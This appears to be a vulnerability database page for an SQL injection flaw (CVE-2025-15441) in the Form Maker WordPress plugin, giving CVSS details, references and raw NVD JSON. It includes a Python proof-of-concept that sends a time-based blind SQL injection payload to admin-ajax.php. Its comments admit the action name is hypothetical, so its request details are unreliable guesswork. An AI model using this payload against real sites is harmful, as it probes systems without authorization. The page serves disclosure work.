CVE-2025-15441

Description

The Form Maker by 10Web WordPress plugin before 1.15.38 does not properly prepare SQL queries when the "MySQL Mapping" feature is in use, which could make SQL Injection attacks possible in certain contexts.

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Form Maker by 10Web < 1.15.38

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (example)
target_url = "http://target-site.com/wp-admin/admin-ajax.php"

# Malicious payload for MySQL Mapping feature
# Attempting a time-based blind SQL injection
payload = "1' AND SLEEP(5)-- -"

# Data structure mimicking the vulnerable request
data = {
    "action": "formmaker_frontend_data", # Hypothetical action name
    "form_id": "1",
    "mysql_mapping_param": payload # Vulnerable parameter
}

try:
    response = requests.post(target_url, data=data)
    # Check if the response time indicates SQL execution delay
    if response.elapsed.total_seconds() >= 5:
        print("[+] Potential SQL Injection vulnerability detected!")
    else:
        print("[-] Target may not be vulnerable or payload failed.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-15441
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-15441
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-15441/
[4] VulDB https://vuldb.com/cve/CVE-2025-15441
[5] https://wpscan.com/vulnerability/41f69b0a-4d17-4a6b-b803-ea1c370e3cc0/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-15441", "sourceIdentifier": "[email protected]", "published": "2026-04-13T07:16:07.213", "lastModified": "2026-04-15T15:05:47.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Form Maker by 10Web WordPress plugin before 1.15.38 does not properly prepare SQL queries when the \"MySQL Mapping\" feature is in use, which could make SQL Injection attacks possible in certain contexts."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://wpscan.com/vulnerability/41f69b0a-4d17-4a6b-b803-ea1c370e3cc0/", "source": "[email protected]"}]}}